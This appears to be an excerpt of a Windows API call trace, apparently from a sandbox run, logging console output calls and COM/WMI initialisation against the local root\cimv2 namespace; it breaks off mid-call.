TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.810] GetLastError () returned 0xcb [0066.810] GetConsoleOutputCP () returned 0x1b5 [0066.810] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.810] GetLastError () returned 0xcb [0066.810] GetConsoleOutputCP () returned 0x1b5 [0066.810] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.810] GetLastError () returned 0xcb [0066.810] GetConsoleOutputCP () returned 0x1b5 [0066.811] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.811] GetLastError () returned 0xcb [0066.811] GetConsoleOutputCP () returned 0x1b5 [0066.811] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.811] GetLastError () returned 0xcb [0066.811] GetConsoleOutputCP () returned 0x1b5 [0066.811] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.811] GetLastError () returned 0xcb [0066.811] GetConsoleOutputCP () returned 0x1b5 [0066.811] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.811] GetLastError () returned 0xcb [0066.811] GetConsoleOutputCP () returned 0x1b5 [0066.811] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.811] GetLastError () returned 0xcb [0066.811] GetConsoleOutputCP () returned 0x1b5 [0066.811] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.811] GetLastError () returned 0xcb [0066.811] GetConsoleOutputCP () returned 0x1b5 [0066.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.812] GetLastError () returned 0xcb [0066.812] GetConsoleOutputCP () returned 0x1b5 [0066.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.812] GetLastError () returned 0xcb [0066.812] GetConsoleOutputCP () returned 0x1b5 [0066.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.812] GetLastError () returned 0xcb [0066.812] GetConsoleOutputCP () returned 0x1b5 [0066.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.812] GetLastError () returned 0xcb [0066.812] GetConsoleOutputCP () returned 0x1b5 [0066.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.812] GetLastError () returned 0xcb [0066.812] GetConsoleOutputCP () returned 0x1b5 [0066.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.812] GetLastError () returned 0xcb [0066.812] GetConsoleOutputCP () returned 0x1b5 [0066.813] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.813] GetLastError () returned 0xcb [0066.813] GetConsoleOutputCP () returned 0x1b5 [0066.813] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.813] GetLastError () returned 0xcb [0066.813] GetConsoleOutputCP () returned 0x1b5 [0066.813] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e3b0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e3b0) returned 0 [0066.813] GetLastError () returned 0xcb [0066.813] GetConsoleOutputCP () returned 0x1b5 [0066.813] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e3b0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e3b0) returned 0 [0066.813] GetLastError () returned 0xcb [0066.820] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17 [0066.821] GetLastError () returned 0xcb [0066.821] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x17, lpConsoleScreenBufferInfo=0x5e8e388 | out: lpConsoleScreenBufferInfo=0x5e8e388) returned 1 [0066.821] GetLastError () returned 0xcb [0066.821] GetConsoleOutputCP () returned 0x1b5 [0066.821] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.821] GetLastError () returned 0xcb [0066.822] GetConsoleOutputCP () returned 0x1b5 [0066.822] GetFileType (hFile=0x154) returned 0x3 [0066.822] WriteFile (in: hFile=0x154, lpBuffer=0x2e18a8c*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x5e8e39c, lpOverlapped=0x0 | out: lpBuffer=0x2e18a8c*, lpNumberOfBytesWritten=0x5e8e39c*=0x4d, lpOverlapped=0x0) returned 1 [0066.822] GetLastError () returned 0x6 [0066.826] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b [0066.827] GetLastError () returned 0x6 [0066.827] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1b, lpConsoleScreenBufferInfo=0x5e8e388 | out: lpConsoleScreenBufferInfo=0x5e8e388) returned 1 [0066.827] GetLastError () returned 0x6 [0066.827] GetConsoleOutputCP () returned 0x1b5 [0066.827] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.827] GetLastError () returned 0x6 [0066.827] WriteFile (in: hFile=0x154, lpBuffer=0x2e18a8c*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x5e8e39c, lpOverlapped=0x0 | out: lpBuffer=0x2e18a8c*, lpNumberOfBytesWritten=0x5e8e39c*=0x14, lpOverlapped=0x0) returned 1 [0066.827] GetLastError () returned 0x6 [0066.831] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0066.832] GetLastError () returned 0x6 [0066.832] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e388 | out: lpConsoleScreenBufferInfo=0x5e8e388) returned 1 [0066.832] GetLastError () returned 0x6 [0066.832] GetConsoleOutputCP () returned 0x1b5 [0066.832] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.832] GetLastError () returned 0x6 [0066.832] WriteFile (in: hFile=0x154, lpBuffer=0x2e18a8c*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x5e8e39c, lpOverlapped=0x0 | out: lpBuffer=0x2e18a8c*, lpNumberOfBytesWritten=0x5e8e39c*=0x50, lpOverlapped=0x0) returned 1 [0066.832] GetLastError () returned 0x6 [0066.836] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0066.836] GetLastError () returned 0x6 [0066.836] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5e8e388 | out: lpConsoleScreenBufferInfo=0x5e8e388) returned 1 [0066.836] GetLastError () returned 0x6 [0066.836] GetConsoleOutputCP () returned 0x1b5 [0066.837] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.837] GetLastError () returned 0x6 [0066.837] WriteFile (in: hFile=0x154, lpBuffer=0x2e18a8c*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x5e8e39c, lpOverlapped=0x0 | out: lpBuffer=0x2e18a8c*, lpNumberOfBytesWritten=0x5e8e39c*=0x51, lpOverlapped=0x0) returned 1 [0066.837] GetLastError () returned 0x6 [0066.841] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x27 [0066.841] GetLastError () returned 0x6 [0066.841] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x27, lpConsoleScreenBufferInfo=0x5e8e388 | out: lpConsoleScreenBufferInfo=0x5e8e388) returned 1 [0066.841] GetLastError () returned 0x6 [0066.841] GetConsoleOutputCP () returned 0x1b5 [0066.841] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.842] GetLastError () returned 0x6 [0066.842] WriteFile (in: hFile=0x154, lpBuffer=0x2e18a8c*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x5e8e39c, lpOverlapped=0x0 | out: lpBuffer=0x2e18a8c*, lpNumberOfBytesWritten=0x5e8e39c*=0x19, lpOverlapped=0x0) returned 1 [0066.842] GetLastError () returned 0x6 [0066.845] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b [0066.846] GetLastError () returned 0x6 [0066.846] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2b, lpConsoleScreenBufferInfo=0x5e8e388 | out: lpConsoleScreenBufferInfo=0x5e8e388) returned 1 [0066.846] GetLastError () returned 0x6 [0066.846] GetConsoleOutputCP () returned 0x1b5 [0066.846] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.846] GetLastError () returned 0x6 [0066.846] WriteFile (in: hFile=0x154, lpBuffer=0x2e18a8c*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x5e8e39c, lpOverlapped=0x0 | out: lpBuffer=0x2e18a8c*, lpNumberOfBytesWritten=0x5e8e39c*=0x51, lpOverlapped=0x0) returned 1 [0066.846] GetLastError () returned 0x6 [0066.850] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0066.850] GetLastError () returned 0x6 [0066.850] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e388 | out: lpConsoleScreenBufferInfo=0x5e8e388) returned 1 [0066.850] GetLastError () returned 0x6 [0066.850] GetConsoleOutputCP () returned 0x1b5 [0066.850] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.850] GetLastError () returned 0x6 [0066.850] WriteFile (in: hFile=0x154, lpBuffer=0x2e18a8c*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x5e8e39c, lpOverlapped=0x0 | out: lpBuffer=0x2e18a8c*, lpNumberOfBytesWritten=0x5e8e39c*=0x34, lpOverlapped=0x0) returned 1 [0066.851] GetLastError () returned 0x6 [0066.854] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33 [0066.854] GetLastError () returned 0x6 [0066.854] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x33, lpConsoleScreenBufferInfo=0x5e8e388 | out: lpConsoleScreenBufferInfo=0x5e8e388) returned 1 [0066.854] GetLastError () returned 0x6 [0066.855] GetConsoleOutputCP () returned 0x1b5 [0066.855] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.855] GetLastError () returned 0x6 [0066.855] WriteFile (in: hFile=0x154, lpBuffer=0x2e18a8c*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x5e8e39c, lpOverlapped=0x0 | out: lpBuffer=0x2e18a8c*, lpNumberOfBytesWritten=0x5e8e39c*=0x3, lpOverlapped=0x0) returned 1 [0066.855] GetLastError () returned 0x6 [0066.859] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37 [0066.860] GetLastError () returned 0x6 [0066.860] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x37, lpConsoleScreenBufferInfo=0x5e8e770 | out: lpConsoleScreenBufferInfo=0x5e8e770) returned 1 [0066.860] GetLastError () returned 0x6 [0066.863] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0066.864] GetLastError () returned 0x6 [0066.864] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8e770 | out: lpConsoleScreenBufferInfo=0x5e8e770) returned 1 [0066.864] GetLastError () returned 0x6 [0066.867] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0066.868] GetLastError () returned 0x6 [0066.868] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e760 | out: lpConsoleScreenBufferInfo=0x5e8e760) returned 1 [0066.868] GetLastError () returned 0x6 [0066.871] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43 [0066.872] GetLastError () returned 0x6 [0066.872] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x43, lpConsoleScreenBufferInfo=0x5e8e760 | out: lpConsoleScreenBufferInfo=0x5e8e760) returned 1 [0066.872] GetLastError () returned 0x6 [0066.875] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0066.876] GetLastError () returned 0x6 [0066.876] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5e8e768 | out: lpConsoleScreenBufferInfo=0x5e8e768) returned 1 [0066.876] GetLastError () returned 0x6 [0066.876] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0x7) returned 1 [0066.876] GetLastError () returned 0x6 [0066.880] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0066.880] GetLastError () returned 0x6 [0066.880] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5e8e768 | out: lpConsoleScreenBufferInfo=0x5e8e768) returned 1 [0066.880] GetLastError () returned 0x6 [0066.880] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0x7) returned 1 [0066.881] GetLastError () returned 0x6 [0066.884] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0066.885] GetLastError () returned 0x6 [0066.885] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5e8e764 | out: lpConsoleScreenBufferInfo=0x5e8e764) returned 1 [0066.885] GetLastError () returned 0x6 [0066.885] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0x7) returned 1 [0066.885] GetLastError () returned 0x6 [0066.889] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0066.889] GetLastError () returned 0x6 [0066.889] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5e8e764 | out: lpConsoleScreenBufferInfo=0x5e8e764) returned 1 [0066.889] GetLastError () returned 0x6 [0066.890] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0x7) returned 1 [0066.890] GetLastError () returned 0x6 [0066.892] CoGetObjectContext (in: riid=0x2cd8b0c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8e74c | out: ppv=0x5e8e74c*=0x3477a4) returned 0x0 [0066.892] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3477a4, pAptType=0x5e8e744 | out: pAptType=0x5e8e744*=1) returned 0x0 [0066.892] IUnknown:QueryInterface (in: This=0x3477a4, riid=0x2cd8af4*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x5e8e748 | out: ppvObject=0x5e8e748*=0x0) returned 0x80004002 [0066.893] IUnknown:Release (This=0x3477a4) returned 0x1 [0066.904] CoGetClassObject (in: rclsid=0x40ad4c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x749ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8e264 | out: ppv=0x5e8e264*=0x60f0ad0) returned 0x0 [0066.904] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f0ad0, riid=0x74ab7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8e094 | out: ppvObject=0x5e8e094*=0x0) returned 0x80004002 [0066.904] WbemDefPath:IClassFactory:CreateInstance (in: This=0x60f0ad0, pUnkOuter=0x0, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e0cc | out: ppvObject=0x5e8e0cc*=0x60fcaa8) returned 0x0 [0066.905] WbemDefPath:IUnknown:QueryInterface (in: This=0x60fcaa8, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8de70 | out: ppvObject=0x5e8de70*=0x60fcaa8) returned 0x0 [0066.905] WbemDefPath:IUnknown:QueryInterface (in: This=0x60fcaa8, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8de2c | out: ppvObject=0x5e8de2c*=0x0) returned 0x80004002 [0066.905] WbemDefPath:IUnknown:AddRef (This=0x60fcaa8) returned 0x3 [0066.905] CoGetContextToken (in: pToken=0x5e8dcb8 | out: pToken=0x5e8dcb8) returned 0x0 [0066.905] WbemDefPath:IUnknown:QueryInterface (in: This=0x60fcaa8, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8dca0 | out: ppvObject=0x5e8dca0*=0x42b0a0) returned 0x0 [0066.905] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x42b0a0, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8dca8 | out: pCid=0x5e8dca8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.905] WbemDefPath:IUnknown:Release (This=0x42b0a0) returned 0x3 [0066.906] CoGetContextToken (in: pToken=0x5e8dcb0 | out: pToken=0x5e8dcb0) returned 0x0 [0066.906] WbemDefPath:IUnknown:AddRef (This=0x60fcaa8) returned 0x4 [0066.906] WbemDefPath:IUnknown:QueryInterface (in: This=0x60fcaa8, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8dd24 | out: ppvObject=0x5e8dd24*=0x0) returned 0x80004002 [0066.906] WbemDefPath:IUnknown:Release (This=0x60fcaa8) returned 0x3 [0066.906] WbemDefPath:IUnknown:Release (This=0x60fcaa8) returned 0x2 [0066.906] WbemDefPath:IUnknown:Release (This=0x60f0ad0) returned 0x0 [0066.906] WbemDefPath:IUnknown:Release (This=0x60fcaa8) returned 0x1 [0066.907] CoGetContextToken (in: pToken=0x5e8e560 | out: pToken=0x5e8e560) returned 0x0 [0066.907] CoGetContextToken (in: pToken=0x5e8e520 | out: pToken=0x5e8e520) returned 0x0 [0066.907] WbemDefPath:IUnknown:AddRef (This=0x60fcaa8) returned 0x2 [0066.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x60fcaa8, riid=0x5e8e59c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5e8e598 | out: ppvObject=0x5e8e598*=0x60fcaa8) returned 0x0 [0066.907] WbemDefPath:IUnknown:Release (This=0x60fcaa8) returned 0x2 [0066.907] WbemDefPath:IUnknown:Release (This=0x60fcaa8) returned 0x1 [0066.907] CoGetContextToken (in: pToken=0x5e8e5e0 | out: pToken=0x5e8e5e0) returned 0x0 [0066.907] CoGetContextToken (in: pToken=0x5e8e5a0 | out: pToken=0x5e8e5a0) returned 0x0 [0066.907] WbemDefPath:IUnknown:AddRef (This=0x60fcaa8) returned 0x2 [0066.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x60fcaa8, riid=0x5e8e61c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5e8e618 | out: ppvObject=0x5e8e618*=0x60fcaa8) returned 0x0 [0066.907] WbemDefPath:IUnknown:Release (This=0x60fcaa8) returned 0x2 [0066.908] WbemDefPath:IUnknown:AddRef (This=0x60fcaa8) returned 0x3 [0066.908] WbemDefPath:IWbemPath:SetText (This=0x60fcaa8, uMode=0x4, pszPath="\\\\localhost\\root\\cimv2") returned 0x0 [0066.908] WbemDefPath:IUnknown:Release (This=0x60fcaa8) returned 0x2 [0066.908] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e784 | out: puCount=0x5e8e784*=0x2) returned 0x0 [0066.908] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e780*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e780*=0x17, pszText=0x0) returned 0x0 [0066.908] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e780*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e780*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0066.908] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e780 | out: puCount=0x5e8e780*=0x2) returned 0x0 [0066.908] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e77c*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e77c*=0x17, pszText=0x0) returned 0x0 [0066.908] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e77c*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e77c*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0066.908] CoGetObjectContext (in: riid=0x2cd8b0c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8e6fc | out: ppv=0x5e8e6fc*=0x3477a4) returned 0x0 [0066.908] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3477a4, pAptType=0x5e8e6f4 | out: pAptType=0x5e8e6f4*=1) returned 0x0 [0066.908] IUnknown:QueryInterface (in: This=0x3477a4, riid=0x2cd8af4*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x5e8e6f8 | out: ppvObject=0x5e8e6f8*=0x0) returned 0x80004002 [0066.908] IUnknown:Release (This=0x3477a4) returned 0x1 [0066.909] CoGetClassObject (in: rclsid=0x40af54*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x749ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8e54c | out: ppv=0x5e8e54c*=0x60fd458) returned 0x0 [0066.909] WbemLocator:IUnknown:QueryInterface (in: This=0x60fd458, riid=0x74ab7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8e37c | out: ppvObject=0x5e8e37c*=0x0) returned 0x80004002 [0066.909] WbemLocator:IClassFactory:CreateInstance (in: This=0x60fd458, pUnkOuter=0x0, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), 